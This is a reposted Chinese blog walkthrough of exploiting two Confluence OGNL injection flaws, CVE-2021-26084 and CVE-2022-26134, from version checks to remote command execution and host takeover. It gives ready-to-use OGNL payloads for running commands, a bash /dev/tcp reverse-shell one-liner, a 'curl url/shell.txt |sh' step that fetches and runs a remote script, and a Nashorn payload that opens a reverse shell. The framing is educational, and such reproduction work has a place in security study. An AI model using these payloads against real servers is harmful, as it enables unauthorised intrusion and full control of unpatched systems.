• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

confluence的几个高危漏洞复现

武飞扬头像
fly夏天
帮助1

序言

本次复现涉及了好几个confluence的相关漏洞,从复现利用到提权,有兴趣的可以自行搭建环境测试。

1.CVE-2021-26084 Confluence OGNL 注入漏洞

1.1 漏洞描述

在某些情况下,远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,通过构造恶意数据执行 OGNL 表达式进行注入攻击,实现在 Confluence Server 或 Data Center 上执行任意代码,最终控制服务器。

1.2 漏洞版本

Confluence Server & Confluence Data Center < 6.13.23      6.13.23

Confluence Server & Confluence Data Center < 7.11.6        7.11.6

Confluence Server & Confluence Data Center < 7.12.5        7.12.5

Confluence Server & Confluence Data Center < 7.4.11        7.4.11

1.3 漏洞复现

一般情况下,confluence会在登录页直接显示当前版本,所以我们可以访问url/login.action这个页面查看版本。
学新通漏洞利用脚本可以参考 https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
后面的演示会通过这个脚本来执行,执行python CVE-2021-26084.py -u url
,如果漏洞存在就可以执行命令了。我们尝试一下whoami
学新通可以看到漏洞就被成功执行了,至此这个漏洞的基本复现就完成了, 接下来我们来尝试提权。

1.4 获取主机权限

一般情况下 我们可以直接通过反弹shell的方式来获取主机权限

bash -i >& /dev/tcp/ip/port 0>&1

但是confluence的命令执行 部分字符会被url转义,所以直接在控制台反弹shell会直接报错
学新通我们可以通过远程执行文件内容的方式来反弹shell

curl url/shell.txt |sh

其中,shell.txt为自己服务器上的一个文件,内容就是上文中的反弹时shell,直接执行这个操作,就能正常的反弹shell了。

2.CVE-2022-26134

2.1 漏洞描述

远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码。

2.2 漏洞版本

Confluence Server&Data Center ≥ 1.3.0
Atlassian Confluence Server and Data Center <7.4.17
Atlassian Confluence Server and Data Center <7.13.7
Atlassian Confluence Server and Data Center <7.14.3
Atlassian Confluence Server and Data Center <7.15.2
Atlassian Confluence Server and Data Center <7.16.4
Atlassian Confluence Server and Data Center <7.17.4
Atlassian Confluence Server and Data Center <7.18.1

2.3 漏洞复现

构造请求

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

其中exec中的内容为需要执行的命令,结果会返回在header的X-Cmd-Response中
学新通至此漏洞利用成功

2.4 提权

构造

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/ip/port 0>&1').start()")}/

即可反弹shell

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgbfjbe
系列文章
更多 icon
同类精品
更多 icon
继续加载